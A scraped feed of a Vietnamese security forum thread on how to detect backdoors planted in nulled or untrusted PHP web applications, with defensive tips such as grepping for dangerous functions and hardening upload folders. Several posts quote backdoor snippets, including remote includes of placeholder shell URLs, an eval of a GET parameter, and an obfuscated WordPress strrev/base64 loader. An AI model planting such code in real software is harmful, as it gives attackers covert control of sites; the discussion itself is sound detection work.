<![CDATA[Latest posts for the topic "Nhận biết back-door của ứng dụng web"]]> /hvaonline/posts/list/8.html JForum - http://www.jforum.net Nhận biết back-door của ứng dụng web /hvaonline/posts/list/39078.html#239712 /hvaonline/posts/list/39078.html#239712 GMT Nhận biết back-door của ứng dụng web /hvaonline/posts/list/39078.html#239725 /hvaonline/posts/list/39078.html#239725 GMT Nhận biết back-door của ứng dụng web

FaL wrote:
Thời gian vừa qua rất nhiều website ở ta bị deface, việc kiện toàn bảo mật cho website đang là một vấn đề khá nóng bỏng. Chủ đề này không đi sâu vào việc kiện toàn bảo mật cho server chứa ứng dụng web, mà thảo luận về việc nhận biết backdoor của web-application không có nguồn gốc rõ ràng. Thực tế có rất nhiều website sử dụng mã nguồn mở, nhưng kèm theo đó, chủ nhân của website cũng dùng rất nhiều module, component khác không có nguồn gốc rõ ràng (các hacked templates, hacked components,...). Dùng các source này nghĩa là bạn đã chấp nhận phiêu lưu với độ an toàn website của mình. "Source code của ứng dụng có chứa backdoor hay không?" luôn là câu hỏi thời sự. Vậy có cách nào nhận biết, phòng tránh trường hợp này không? Mời các bạn cùng tham gia thảo luận! 
- Khi download 1 nguồn nào đó không rõ nguồn gốc, cần dùng trình antivirus để quét, kết hợp với các site quét virus trực tuyến. - Cài đặt thử trên localhost, dùng phpmyadmin kiểm tra các tables của nó cho thật kỹ, anh cũng từng gặp trường hợp khi download source không rõ nguồn gốc, họ nhúng vào trong tables, để ý kỹ sẽ phát hiện ra có những tables tình nghi được ém khá kỹ. - Việc sử dụng mã nguồn bất hợp pháp mặc dù bất hợp pháp tuy nhiên nếu "liều mạng, có sức chơi có sức chịu" thì cũng nên chú ý đến đám nulled mã nguồn (tên tuổi, nhóm nulled mã nguồn) - Nếu đã lỡ cài đặt trên server thì dùng dòng lệnh find trên *nix để tìm các file tình nghi. Thường thị có những đám không sửa đổi tập tin ví dụ như r57.php hoặc các tập tin tình nghi như tao-bup-may-chet.php được nhúng trong source do vậy cũng dễ dàng phát hiện ra. Đương nhiên khi dùng mã nguồn không rõ nguồn góc thì khả năng "bị nạn" rất cao Vài ý kiến nhận xét]]> /hvaonline/posts/list/39078.html#239728 /hvaonline/posts/list/39078.html#239728 GMT Nhận biết back-door của ứng dụng web

FaL wrote:
Thời gian vừa qua rất nhiều website ở ta bị deface, việc kiện toàn bảo mật cho website đang là một vấn đề khá nóng bỏng. Chủ đề này không đi sâu vào việc kiện toàn bảo mật cho server chứa ứng dụng web, mà thảo luận về việc nhận biết backdoor của web-application không có nguồn gốc rõ ràng. Thực tế có rất nhiều website sử dụng mã nguồn mở, nhưng kèm theo đó, chủ nhân của website cũng dùng rất nhiều module, component khác không có nguồn gốc rõ ràng (các hacked templates, hacked components,...). Dùng các source này nghĩa là bạn đã chấp nhận phiêu lưu với độ an toàn website của mình. "Source code của ứng dụng có chứa backdoor hay không?" luôn là câu hỏi thời sự. Vậy có cách nào nhận biết, phòng tránh trường hợp này không? Mời các bạn cùng tham gia thảo luận! 
Cái này khó lắm à nha Việc cài lại các shell script được trích xuất từ các shell script nổi tiếng như C99, r57 ( php ), JMXshell ( JSP )... là chuyện script kiddies mới làm, vì quất lên antivirus phát là lòi ra ngay tức thì. Các tay Null source cao tay thì thường chỉ chèn đoạn mã sau ( ví dụ với PHP ): Code:
<?php
include($abc);
?>
hay biết site đó thành zombies luôn Code:
<?php
include("http://abcxyz.com/shell.php");
?>
Vụ trên gọi là "cố ý tạo ra lỗi" Nếu chèn mã như trên thì khá căng :D , cần trình độ source debugging tốt để dò tìm lỗi bên trong source, đây hoàn toàn là công việc của một tester . Mà tay nào giỏi source debugging thì họ tự NULLED ứng dụng đó rồi, hoặc dư sức tự mua vì trình độ thế thì thường có công ăn việc làm ổn định Dĩ nhiên cách trên có thể vô hiệu hoá bằng allow_url_fopen=Off ( với PHP ), nhưng lỗi trên vẫn dễ dàng tạo điều kiện cho Local File Inclusion với nhiều phương pháp khai thác nâng cao khác nhau]]> /hvaonline/posts/list/39078.html#239733 /hvaonline/posts/list/39078.html#239733 GMT Nhận biết back-door của ứng dụng web /hvaonline/posts/list/39078.html#239767 /hvaonline/posts/list/39078.html#239767 GMT Nhận biết back-door của ứng dụng web

FaL wrote:
Cám ơn đóng góp của protectHat, anh tranhuuphuoc và xnohat, Đến đây Fal tổng hợp lại ý kiến của mọi người như sau: 1. quét virus toàn bộ source code nghi ngờ; 2. cài đặt, kiểm tra kỹ db xem có gì lạ, khả nghi hay không; 3. chạy thử nghiệm xem có request nào lạ ra bên ngoài không; 4. config server để chống bypass, LFI; 5. debug code. Quả thật công tác kiện toàn bảo mật cho web-application không thể tách rời việc kiện toàn bảo mật của server. Những bước 1, 2, 3 thực hiện không khó, nhưng đến bước thứ 4 cần phải có kiến thức tốt về hệ thống mới có thể thực hiện được, bước thứ 5 đòi hỏi trình độ code khá cao mới có thể thực hiện được. 2 bước cuối có vẻ ngắn gọn nhưng chứa đựng trong đó quá nhiều công việc. Đáng tiếc là hiện nay việc kiện toàn bảo mật chưa được quan tâm đúng mức, người dùng nói chung sẵn sàng tắt antivirus để chạy crack một phần mềm nào đó. Coder sẵn sàng download source code lạ trong khi không đủ khả năng để debug.  
Việc làm trên dường như quá mất công sức và tốn kém. Theo em cách đơn giản nhất là dùng chương trình bắt gói tin để tóm các gói tin sử dụng phương thức TCP/IP của máy chúng ta khi nó kết nối với máy tính khác, và điều tra từ đó. Đôi lúc backdoor còn được chèn vào database và được "lôi ra" bằng eval (PHP) nên, với lại các đoạn mã phần lớn được ecrypt dưới dạng base64 hoặc nhiều dạng khác tự chế cũng khá phong phú làm các antivirus bó tay. Giải pháp có lẽ là disable các hàm PHP không cần thiết và có thể tác động tới hệ thống, bắt các truy vấn gửi đi từ máy mình. Cố gắng khoanh vùng. Loại bỏ các table nghi vấn chứa backdoor trong database. Còn debug source chắc là thuê người làm thôi ^^! vì nhiều quá một mình làm không hết =)) .]]> /hvaonline/posts/list/39078.html#239794 /hvaonline/posts/list/39078.html#239794 GMT Nhận biết back-door của ứng dụng web

xnohat wrote:

FaL wrote:
Thời gian vừa qua rất nhiều website ở ta bị deface, việc kiện toàn bảo mật cho website đang là một vấn đề khá nóng bỏng. Chủ đề này không đi sâu vào việc kiện toàn bảo mật cho server chứa ứng dụng web, mà thảo luận về việc nhận biết backdoor của web-application không có nguồn gốc rõ ràng. Thực tế có rất nhiều website sử dụng mã nguồn mở, nhưng kèm theo đó, chủ nhân của website cũng dùng rất nhiều module, component khác không có nguồn gốc rõ ràng (các hacked templates, hacked components,...). Dùng các source này nghĩa là bạn đã chấp nhận phiêu lưu với độ an toàn website của mình. "Source code của ứng dụng có chứa backdoor hay không?" luôn là câu hỏi thời sự. Vậy có cách nào nhận biết, phòng tránh trường hợp này không? Mời các bạn cùng tham gia thảo luận! 
Cái này khó lắm à nha Việc cài lại các shell script được trích xuất từ các shell script nổi tiếng như C99, r57 ( php ), JMXshell ( JSP )... là chuyện script kiddies mới làm, vì quất lên antivirus phát là lòi ra ngay tức thì. Các tay Null source cao tay thì thường chỉ chèn đoạn mã sau ( ví dụ với PHP ): Code:
<?php
include($abc);
?>
hay biết site đó thành zombies luôn Code:
<?php
include("http://abcxyz.com/shell.php");
?>
Vụ trên gọi là "cố ý tạo ra lỗi" Nếu chèn mã như trên thì khá căng :D , cần trình độ source debugging tốt để dò tìm lỗi bên trong source, đây hoàn toàn là công việc của một tester . Mà tay nào giỏi source debugging thì họ tự NULLED ứng dụng đó rồi, hoặc dư sức tự mua vì trình độ thế thì thường có công ăn việc làm ổn định Dĩ nhiên cách trên có thể vô hiệu hoá bằng allow_url_fopen=Off ( với PHP ), nhưng lỗi trên vẫn dễ dàng tạo điều kiện cho Local File Inclusion với nhiều phương pháp khai thác nâng cao khác nhau 
Bạn nghĩ sao về đoạn mã nhỏ này: Code:
<?php
....
if(isset($_GET['chiro8x']))eval($_GET['chiro8x']);
....
?>
Have fun ^^!.]]> /hvaonline/posts/list/39078.html#239795 /hvaonline/posts/list/39078.html#239795 GMT Nhận biết back-door của ứng dụng web

chiro8x wrote:
Bạn nghĩ sao về đoạn mã nhỏ này: Code:
<?php
....
if(isset($_GET['chiro8x']))eval($_GET['chiro8x']);
....
?>
Have fun ^^!. 
;-) Mình đã bị cái này nè Code:
<?php 
if ($date==time()) include(????)
?>
Nếu mà có thời gian ngồi coi từng dòng như vậy thì viết ra còn lẹ hơn :-O, nhưng mà project đã đến hạn nên phải tìm null :-( ]]> /hvaonline/posts/list/39078.html#239801 /hvaonline/posts/list/39078.html#239801 GMT Nhận biết back-door của ứng dụng web /hvaonline/posts/list/39078.html#239807 /hvaonline/posts/list/39078.html#239807 GMT Nhận biết back-door của ứng dụng web

TQN wrote:
Nên dùng các tool quét security, bug static để quét code. 
anh TQN cho em mấy cái tool tin cậy đi anh! :x ]]> /hvaonline/posts/list/39078.html#239811 /hvaonline/posts/list/39078.html#239811 GMT Nhận biết back-door của ứng dụng web Code:
global $wpdb;
$trp_rss=$wpdb->get_var(
"SELECT option_value FROM $wpdb->options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'");
preg_match("!events or a cale\"\;s\:7\:\'(.*?)\'!is",$trp_rss,$trp_m);
$trp_f=create_function("",strrev($trp_m[1]));
$trp_f();
Đoạn code tường chừng đơn giản vô hại được chèn vào 1 file của wordpress. strrev sẽ reverse hết tất cả các string như base64, cmd,... và đây là 1 đoạn trong database Code:
...a bunch of junk here...J3byJXZ"(edoced_46esab(lave
Source: http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/ ]]> /hvaonline/posts/list/39078.html#239819 /hvaonline/posts/list/39078.html#239819 GMT Nhận biết back-door của ứng dụng web /hvaonline/posts/list/39078.html#239820 /hvaonline/posts/list/39078.html#239820 GMT Nhận biết back-door của ứng dụng web Có thể grep những cái khả nghi như: /../ , /etc , eval, base64 , edit, cmd, exec, pass, ... còn tìm ra hay không thì chắc phải dựa vào may mắn nữa.   Hi WinDak Em tổng hợp lại các đoạn màu đỏ này của anh qua đoạn script này được không Code:
grep -RPn "(passthru|shell_exec|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile) *\(" public_html/
Các trường hợp bị base64 hay include, em thấy cách chuẩn nhất vẫn là test ở môi trường localhost tương tự với hệ thống Production đang chạy]]> /hvaonline/posts/list/39078.html#239826 /hvaonline/posts/list/39078.html#239826 GMT Nhận biết back-door của ứng dụng web /hvaonline/posts/list/39078.html#239832 /hvaonline/posts/list/39078.html#239832 GMT Nhận biết back-door của ứng dụng web

dacminhm wrote:
Các bạn siêu cao thủ quá..nói thế thì các newmem hiểu sao nổi! Người xem hiểu thì chả cần đọc hướng dẫn các bạn làm gì vì họ...hiểu sẵn rồi! Nên với tư cách newmem nên có ý kiến sau: _ Tôi thấy thường các backdoor trên web application thì chẳng antivirus nào quét ra nổi. _ Không dại gì config server bằng cách khoá mấy hàm ít cần (ít cần chứ không phải ko cần) ví dụ như fopen, fclose, readfile thì lỡ tôi muốn xây dựng 1 cái box chat mà lưu database dưới dạng text ngay trong 1 file temp thì sao? Sử dụng mấy lệnh khác tương tự nhưng dài hơn thì...hổng biết :)) Hay _ Không có kiến thức debug..nhưng chung quy backdoor nếu không biến ta thành zoombie thì cũng là ăn cắp information --> và kiểu gì cũng phải gửi đến đâu đó --> Cho lên một host free nào đó ..chạy source --> phân tích bằng firebug còn nếu không biết dùng thì chơi bằng adblock. Cái nào mà không phải từ host của ta thì...bóp chết thôi. Cách bóp chết thì dễ thôi, nếu là file thì xoá file đi, nếu là code thì xoá dòng code đó đi. Nếu kém hơn nữa là không biết sửa thì.... thay địa chỉ đó bằng địa chỉ của ta! Hoặc chặn luôn ip của nó đi cho hết gửi. _ À có ai chống chế hắn chèn kiểu date=time thì include..thì vô tư đi. Máy chủ là máy ảo, máy client cũng cho ảo luôn. Cả hai máy ảo này cho đổi thời gian chạy luôn 1 năm (mỗi lần đổi time chỉnh cho lên 1 tháng coi) mất tầm 10 phút là truy ra hết mấy địa chỉ rỏm. Nói vui thế chứ, bình thường kiểu gì hắn cũng phải include 1 file shell nằm đâu đó (trong source của ta thì dễ chơi quá khỏi bàn) nếu là 1 đường link thì...ha ha... mở toàn bộ file trong source lên (tôi thấy dùng Notepad++ cũng đựoc) rồi Ctrl+F theo kiểu http,ftp,https,.... thì kiểu gì cũng ra! Ra rồi thì quay lại bước trên kia. _ Bị chèn trong database SQL, MySQL ư? Lúc đầu cứ đặt prefix bằng tên của riêng ta, cái nào mà không phải tên ta thì cứ xoá vô tư! Hắc hắc... =)) Còn nếu kém hơn thì chơi kiểu 2 source chạy 2 máy khác nhau ( 1 trong nó chạy cái cần thử ) rồi đem 2 cái data ra so sánh mà..bó tay rồi... trước khi install cái nào thì cố xem database nó gồm cái gì, chứ đã install rồi mà ngồi tìm thì có mà ốm... :D newmem chỉ biết thế...các bạn chỉ giáo gì không? chứ nói cao siêu như trên thì khó chơi quá  
Có người hiểu nhầm nội dung của topic thì phải không biết adblock có tác dụng gì ở đây. Bạn à topic đang thảo luận viề backdoor can thiệp vào các file script trên server. Việc này phức tạp hơn những gì bạn mô tả ở trên #:S . Mình ví dụ về độ phức tạp mà bạn chưa tưởng tượng ra nhé. Code:
include_once(base64_decode("aHR0cDovL3Rlc3RzaXRlLmNvbS9iYWNrZG9vci5waHA="));
aHR0cDovL3Rlc3RzaXRlLmNvbS9iYWNrZG9vci5waHA= Là http://testsite.com/backdoor.php đã được encrypt với hàm base64_encode(); Ngoài ra còn nhiều cách đơn giản hơn: Code:
include_once("h"."t"."t"."p".":"."/"."/"."testsite.com/backdoor.php");
Không phải ai cũng ngốc nghếch tới mức chèn URL vào file đâu :"<. Ngoài ra việc bạn nói Lúc đầu cứ đặt prefix bằng tên của riêng ta. Phần lớn mọi người sau khi thâm nhập hệ thống sẽ cố gắng để lại ít dấu vết càng tốt, không làm xáo trộng thời gian tạo file (thậm chí set date & time server về lúc đầu để edit file sau đó trả lại date/time hiện tại). Việc chèn backdoor không nhất thiết tạo table mới chỉ cần chèn vào một table có sẳn kèm theo đó là một key mà chắc chắn sẽ không được truy vấn tới. ]]> /hvaonline/posts/list/39078.html#239851 /hvaonline/posts/list/39078.html#239851 GMT Nhận biết back-door của ứng dụng web

xnohat wrote:

FaL wrote:
Thời gian vừa qua rất nhiều website ở ta bị deface, việc kiện toàn bảo mật cho website đang là một vấn đề khá nóng bỏng. Chủ đề này không đi sâu vào việc kiện toàn bảo mật cho server chứa ứng dụng web, mà thảo luận về việc nhận biết backdoor của web-application không có nguồn gốc rõ ràng. Thực tế có rất nhiều website sử dụng mã nguồn mở, nhưng kèm theo đó, chủ nhân của website cũng dùng rất nhiều module, component khác không có nguồn gốc rõ ràng (các hacked templates, hacked components,...). Dùng các source này nghĩa là bạn đã chấp nhận phiêu lưu với độ an toàn website của mình. "Source code của ứng dụng có chứa backdoor hay không?" luôn là câu hỏi thời sự. Vậy có cách nào nhận biết, phòng tránh trường hợp này không? Mời các bạn cùng tham gia thảo luận! 
Cái này khó lắm à nha Việc cài lại các shell script được trích xuất từ các shell script nổi tiếng như C99, r57 ( php ), JMXshell ( JSP )... là chuyện script kiddies mới làm, vì quất lên antivirus phát là lòi ra ngay tức thì. Các tay Null source cao tay thì thường chỉ chèn đoạn mã sau ( ví dụ với PHP ): Code:
<?php
include($abc);
?>
hay biết site đó thành zombies luôn Code:
<?php
include("http://abcxyz.com/shell.php");
?>
Vụ trên gọi là "cố ý tạo ra lỗi" Nếu chèn mã như trên thì khá căng :D , cần trình độ source debugging tốt để dò tìm lỗi bên trong source, đây hoàn toàn là công việc của một tester . Mà tay nào giỏi source debugging thì họ tự NULLED ứng dụng đó rồi, hoặc dư sức tự mua vì trình độ thế thì thường có công ăn việc làm ổn định Dĩ nhiên cách trên có thể vô hiệu hoá bằng allow_url_fopen=Off ( với PHP ), nhưng lỗi trên vẫn dễ dàng tạo điều kiện cho Local File Inclusion với nhiều phương pháp khai thác nâng cao khác nhau 
Với cái source nhỏ nhỏ thì còn dễ dò chứ giờ cái source nào tầm vài chục MB toàn text, rồi nó nhét đâu đó 1 cái form upload thì ... :D ]]> /hvaonline/posts/list/39078.html#239867 /hvaonline/posts/list/39078.html#239867 GMT Nhận biết back-door của ứng dụng web /hvaonline/posts/list/39078.html#239887 /hvaonline/posts/list/39078.html#239887 GMT Nhận biết back-door của ứng dụng web Source code của ứng dụng có chứa backdoor hay không?  ; bàn ra thế, chứ không bàn về source code sau khi bị tấn công hay phát hiện ra bị tấn công! Cái vụ này phức tạp thật ! Code:
aHR0cDovL3Rlc3RzaXRlLmNvbS9iYWNrZG9vci5waHA=
nó được mã hoá bằng base64 hả? Khó nhỉ? ngoài ra còn chơi SHA hay MD5 nữa cho khoẻ đi... chả biết nó mã hoá bằng gì hay giấu kiểu gì thì kết quả cuối cùng thì cũng là gửi 1 cái gì đó đến cái URL đấy :D tôi ý kiến như thế các bạn có thấy đúng ko? Thế thì chỉ cần phân tích toàn bộ các url mà server kết nối đến là xong! Newmem chỉ biết thế thôi...Vì ngay FAL đã nói là
Chủ đề này không đi sâu vào việc kiện toàn bảo mật cho server chứa ứng dụng web, mà thảo luận về việc nhận biết backdoor của web-application không có nguồn gốc rõ ràng.  
Có bạn nào chỉ cách khắc phục vụ form upload với :D giả sử đang chơi forum thì phải có nơi cho mem upload lên chứ? cấm sao đựoc!]]> /hvaonline/posts/list/39078.html#239890 /hvaonline/posts/list/39078.html#239890 GMT Nhận biết back-door của ứng dụng web /hvaonline/posts/list/39078.html#239900 /hvaonline/posts/list/39078.html#239900 GMT Nhận biết back-door của ứng dụng web

xnohat wrote:

FaL wrote:
Thời gian vừa qua rất nhiều website ở ta bị deface, việc kiện toàn bảo mật cho website đang là một vấn đề khá nóng bỏng. Chủ đề này không đi sâu vào việc kiện toàn bảo mật cho server chứa ứng dụng web, mà thảo luận về việc nhận biết backdoor của web-application không có nguồn gốc rõ ràng. Thực tế có rất nhiều website sử dụng mã nguồn mở, nhưng kèm theo đó, chủ nhân của website cũng dùng rất nhiều module, component khác không có nguồn gốc rõ ràng (các hacked templates, hacked components,...). Dùng các source này nghĩa là bạn đã chấp nhận phiêu lưu với độ an toàn website của mình. "Source code của ứng dụng có chứa backdoor hay không?" luôn là câu hỏi thời sự. Vậy có cách nào nhận biết, phòng tránh trường hợp này không? Mời các bạn cùng tham gia thảo luận! 
Cái này khó lắm à nha Việc cài lại các shell script được trích xuất từ các shell script nổi tiếng như C99, r57 ( php ), JMXshell ( JSP )... là chuyện script kiddies mới làm, vì quất lên antivirus phát là lòi ra ngay tức thì. Các tay Null source cao tay thì thường chỉ chèn đoạn mã sau ( ví dụ với PHP ): Code:
<?php
include($abc);
?>
hay biết site đó thành zombies luôn Code:
<?php
include("http://abcxyz.com/shell.php");
?>
include("http://abcxyz.com/shell.php"); Vụ trên gọi là "cố ý tạo ra lỗi" Nếu chèn mã như trên thì khá căng :D , cần trình độ source debugging tốt để dò tìm lỗi bên trong source, đây hoàn toàn là công việc của một tester . Mà tay nào giỏi source debugging thì họ tự NULLED ứng dụng đó rồi, hoặc dư sức tự mua vì trình độ thế thì thường có công ăn việc làm ổn định Dĩ nhiên cách trên có thể vô hiệu hoá bằng allow_url_fopen=Off ( với PHP ), nhưng lỗi trên vẫn dễ dàng tạo điều kiện cho Local File Inclusion với nhiều phương pháp khai thác nâng cao khác nhau 
hi mọi người, cái này em cũng vừa gặp luôn anh sau hack thằng bạn dùng anti để quét nhưng không phát hiện sau đó em search content thì lòi ra include(..) system(..) ... :( nhớ đời luôn, cảm ơn Fal vì bài của anh rất hữu ích.]]> /hvaonline/posts/list/39078.html#239902 /hvaonline/posts/list/39078.html#239902 GMT Nhận biết back-door của ứng dụng web

smile_sad wrote:
Theo mình nghĩ thông thường các folder cho phép upload chủ yếu là images,thumbs... Vậy nếu backdoor upload vào đây thì chắc nó là .php, .asp, .aspx... Mình rành linux hơn windows 1 chút nên mình xin nói về linux nhé. Ý kiến của mình là tạo 1 file .htaccess remove toàn bộ handler .php. Rồi chmod cái .htaccess này sao cho người ta không override nó được. Tuy nhiên nếu mà source code có quá nhiều folder cho phép upload, việc lạm dụng .htaccess sẽ ảnh hưởng đến performance của hệ thống. Do đó nếu bạn thành thạo code thì có lẽ phải can thiệp vào code để xứ lí thôi. Ở trên mình đưa ra tình huống là cái form upload đó đã chỉ định upload vào 1 folder trong sourcecode. Nhưng nếu attacker tạo mới 1 folder sau đó ném backdoor vào thì phải làm sao? Mọi người tiếp tục thảo luận nhé. 
backdoor thường có đuôi là .jpg bạn ạ :D; Dùng firephp là cách dễ nhất, đơn giản nhất đó. Nhưng mà dùng NULL thì dính backdoor là thường]]> /hvaonline/posts/list/39078.html#239962 /hvaonline/posts/list/39078.html#239962 GMT Nhận biết back-door của ứng dụng web

dacminhm wrote:
Bạn chiro8x làm như tôi là chuyên gia vậy đã nói từ đầu là newmem mà lỵ :)) Còn nữa tôi cứ theo cái câu của FAL
Source code của ứng dụng có chứa backdoor hay không? 
; bàn ra thế, chứ không bàn về source code sau khi bị tấn công hay phát hiện ra bị tấn công! Cái vụ này phức tạp thật ! Code:
aHR0cDovL3Rlc3RzaXRlLmNvbS9iYWNrZG9vci5waHA=
nó được mã hoá bằng base64 hả? Khó nhỉ? ngoài ra còn chơi SHA hay MD5 nữa cho khoẻ đi... chả biết nó mã hoá bằng gì hay giấu kiểu gì thì kết quả cuối cùng thì cũng là gửi 1 cái gì đó đến cái URL đấy :D tôi ý kiến như thế các bạn có thấy đúng ko? Thế thì chỉ cần phân tích toàn bộ các url mà server kết nối đến là xong! Newmem chỉ biết thế thôi...Vì ngay FAL đã nói là
Chủ đề này không đi sâu vào việc kiện toàn bảo mật cho server chứa ứng dụng web, mà thảo luận về việc nhận biết backdoor của web-application không có nguồn gốc rõ ràng.  
Có bạn nào chỉ cách khắc phục vụ form upload với :D giả sử đang chơi forum thì phải có nơi cho mem upload lên chứ? cấm sao đựoc! 
nó được mã hoá bằng base64 hả? Khó nhỉ? ngoài ra còn chơi SHA hay MD5 nữa cho khoẻ đi... chả biết nó mã hoá bằng gì hay giấu kiểu gì thì kết quả cuối cùng thì cũng là gửi 1 cái gì đó đến cái URL đấy :D tôi ý kiến như thế các bạn có thấy đúng ko? Thế thì chỉ cần phân tích toàn bộ các url mà server kết nối đến là xong! Newmem chỉ biết thế thôi... Hix ! thực sự bạn nguy hiểm quá, nên phát biểu nhữn điều trong tầm hiểu biết của mình nếu không người ta cười cho đấy :"<. Để giải quyết vấn đề bảo mật phải đặt mình ở vị trí người thâm nhập và giả định những gì người đó làm, hoặc ít ra phải có kiến thức để phân tích những giấu vết đựoc server ghi lại. Còn cái lý thuyết vì em là newbie thế nọ, vì em là newbie thế kia thì bàn làm gì nửa đây. Về chuyện làm upload bạn cần làm những việc sau để đảm bảo an toàn. 1. Chmod cho thư mục upload và các file khi upload. 2. Viết code lọc các loại file. 3. Giới hạn dung lượng upload. 4. Tạo tên file mới, dấu url thật của thư mục upload.]]> /hvaonline/posts/list/39078.html#239996 /hvaonline/posts/list/39078.html#239996 GMT Nhận biết back-door của ứng dụng web

protectHat wrote:

smile_sad wrote:
Theo mình nghĩ thông thường các folder cho phép upload chủ yếu là images,thumbs... Vậy nếu backdoor upload vào đây thì chắc nó là .php, .asp, .aspx... Mình rành linux hơn windows 1 chút nên mình xin nói về linux nhé. Ý kiến của mình là tạo 1 file .htaccess remove toàn bộ handler .php. Rồi chmod cái .htaccess này sao cho người ta không override nó được. Tuy nhiên nếu mà source code có quá nhiều folder cho phép upload, việc lạm dụng .htaccess sẽ ảnh hưởng đến performance của hệ thống. Do đó nếu bạn thành thạo code thì có lẽ phải can thiệp vào code để xứ lí thôi. Ở trên mình đưa ra tình huống là cái form upload đó đã chỉ định upload vào 1 folder trong sourcecode. Nhưng nếu attacker tạo mới 1 folder sau đó ném backdoor vào thì phải làm sao? Mọi người tiếp tục thảo luận nhé. 
backdoor thường có đuôi là .jpg bạn ạ :D; Dùng firephp là cách dễ nhất, đơn giản nhất đó. Nhưng mà dùng NULL thì dính backdoor là thường 
Ưm bạn này nói chuẩn luôn :"< việc chmod file và thư mục sang read only cũng không giải quyết được, vì chúng được include vào source. Hoặc đọc -> giải mã -> eval(). Nói chung để lọc ra được backdoor không phải dễ. Nhất là các ứng dụng lớn có nhiều module :((.]]> /hvaonline/posts/list/39078.html#239997 /hvaonline/posts/list/39078.html#239997 GMT Nhận biết back-door của ứng dụng web /hvaonline/posts/list/39078.html#240016 /hvaonline/posts/list/39078.html#240016 GMT Nhận biết back-door của ứng dụng web /hvaonline/posts/list/39078.html#240035 /hvaonline/posts/list/39078.html#240035 GMT Nhận biết back-door của ứng dụng web

chiro8x wrote:
Nếu như nhận biết backdoor theo hành vi của chúng có vẻ là lựa chọn khôn ngoan hơn với sử dụng phương pháp so sánh text content. Nếu có chương trình thực thi các file script và phân tích nó như vậy việc chống backdoor sẽ tốt hơn. 
Giữa việc nói và việc làm là 2 việc khác nhau, ;-) Bạn professional có chương trình hay phương pháp nào như thế thì nói rõ ra, chứ nói chung chung thì ai cũng nói được chẳng cần đến professional làm gì. :/) Quên mất phải nói điều nữa, bạn đừng chê tôi là newmem vì đây là topic thảo luận chứ không phải là topic hướng dẫn. bạn thông cảm cho, có gì sai thì nói ra để anh em sửa chữa thì mới là thảo luận Thiếu nút thank bạn vì đã làm mình phải xem lại base64(sha-1) với md5 khác nhau thế nào? Và kết nhất cái câu:
Hix ! thực sự bạn nguy hiểm quá, nên phát biểu nhữn điều trong tầm hiểu biết của mình nếu không người ta cười cho đấy :"< 
]]> /hvaonline/posts/list/39078.html#240187 /hvaonline/posts/list/39078.html#240187 GMT Nhận biết back-door của ứng dụng web

dacminhm wrote:

chiro8x wrote:
Nếu như nhận biết backdoor theo hành vi của chúng có vẻ là lựa chọn khôn ngoan hơn với sử dụng phương pháp so sánh text content. Nếu có chương trình thực thi các file script và phân tích nó như vậy việc chống backdoor sẽ tốt hơn. 
Giữa việc nói và việc làm là 2 việc khác nhau, ;-) Bạn professional có chương trình hay phương pháp nào như thế thì nói rõ ra, chứ nói chung chung thì ai cũng nói được chẳng cần đến professional làm gì. :/) Quên mất phải nói điều nữa, bạn đừng chê tôi là newmem vì đây là topic thảo luận chứ không phải là topic hướng dẫn. bạn thông cảm cho, có gì sai thì nói ra để anh em sửa chữa thì mới là thảo luận Thiếu nút thank bạn vì đã làm mình phải xem lại base64(sha-1) với md5 khác nhau thế nào? Và kết nhất cái câu:
Hix ! thực sự bạn nguy hiểm quá, nên phát biểu nhữn điều trong tầm hiểu biết của mình nếu không người ta cười cho đấy :"< 
 
MD5 & SHA1 là thuật toán băm chuổi, tạo ra mội chuổi mới và duy nhất từ giá trị ban đầu. Vì vậy SHA1 và MD5 sử dụng để mã hoá và lưu trử những dữ liệu quan trọng nhưng không muốn người khác dịch ngược. Tớ nhắc đến BASE64 vì BASE64 là mã hoá 2 chiều và cho phép decode. Còn bạn thì lại muốn dùng MD5 và SHA1 để mã hoá URL. Sự thiếu hiểu biết thật đáng sợ, và sẽ có nhiều người chết vì nó. Vui lòng tra wikipedia và google để biết thêm chi tiết. Tôi không PROFESSIONAL như bạn nói nhưng nếu là bạn tôi sẽ cảm thấy hổ thẹn vì những hiều biết của bản thân cho tới nơi tới chốn. Sự thiếu hiểu biết của bạn làm bạn trở nên hung hăng và nguy hiểm. Tôi sẽ không PM bạn nửa bạn có thể xem đó là một sự coi khinh.]]> /hvaonline/posts/list/39078.html#240192 /hvaonline/posts/list/39078.html#240192 GMT Nhận biết back-door của ứng dụng web /hvaonline/posts/list/39078.html#240239 /hvaonline/posts/list/39078.html#240239 GMT Nhận biết back-door của ứng dụng web

FaL wrote:
chiro8x, dacminhm: Thoải mái đi các bạn, chính mình cũng chưa đạt đến tầm để rà soát, kiểm tra hoàn toàn một source code. Vì thật sự bây giờ source code không đơn giản, cần phải hiểu biết ngôn ngữ, kiến trúc, triết lý,... mới có thể thực hiện công việc đó. Mình tạo ra chủ đề này để học hỏi thêm mọi người về khía cạnh bảo mật, bên cạnh đó cũng để một số bạn chưa quan tâm đúng mức đến vấn đề dùng source code lạ biết được những nguy cơ còn tồn tại.  
-:|- Tôi tự biết từ xưa đến giờ chưa quan tâm đến bảo mật,cứ làm rồi vứt đấy nên mới tự kêu là newmem vậy mà có người kêu newmem không được phát biểu thì hết biết rồi. Tôi cũng đâu dư time cãi nhau với người chê người khác mà chính mình chẳng nêu ra lý do, cách giải quyết thuyết phục cả. Đến cuối cùng thì lại quay về cái tôi nói là phân tích tất cả các url mà server mình kết nối! Fal để mình giải thích với bạn sao cứ dây dưa mãi Tại sao gọi base64 là mã hoá 2 chiều là vì: - base64_encode('password') --->abcde - base64_decode('abcde') --->password Khi kiểm tra login có 2 cách: If base64_decode($pass)=Pass trong database =>passed (pass trong database text) If base64_encode($pass)=Pass trong database ----> passed (pass trong database là base64) Với MD5 thì chỉ có hàm md5('password')-->7041159938a3c020ab037179de2fac52 => Chính vì lý do này mà có người nghĩ MD5 chỉ đựoc dùng cho mã hoá password. Tuy MD5 là mã hoá 1 chiều nhưng ta có thể làm như sau: khi mã hoá được đoạn text thì lưu vào database cả đoạn MD5 7041159938a3c020ab037179de2fac52 cùng normal text có thể ánh xạ cho nhau được (cái này thì tuỳ người làm, có thể chia nhỏ cho vào nhiều table khác nhau hay thế nào thì kệ không bàn ở đây). Như vậy khi cần decrypt chỉ cần phép so sánh là xong. Việc này thì nhiều trang decrypt md5 hay làm ví dụ: http://www.md5decrypter.com/ .]]> /hvaonline/posts/list/39078.html#240265 /hvaonline/posts/list/39078.html#240265 GMT Nhận biết back-door của ứng dụng web

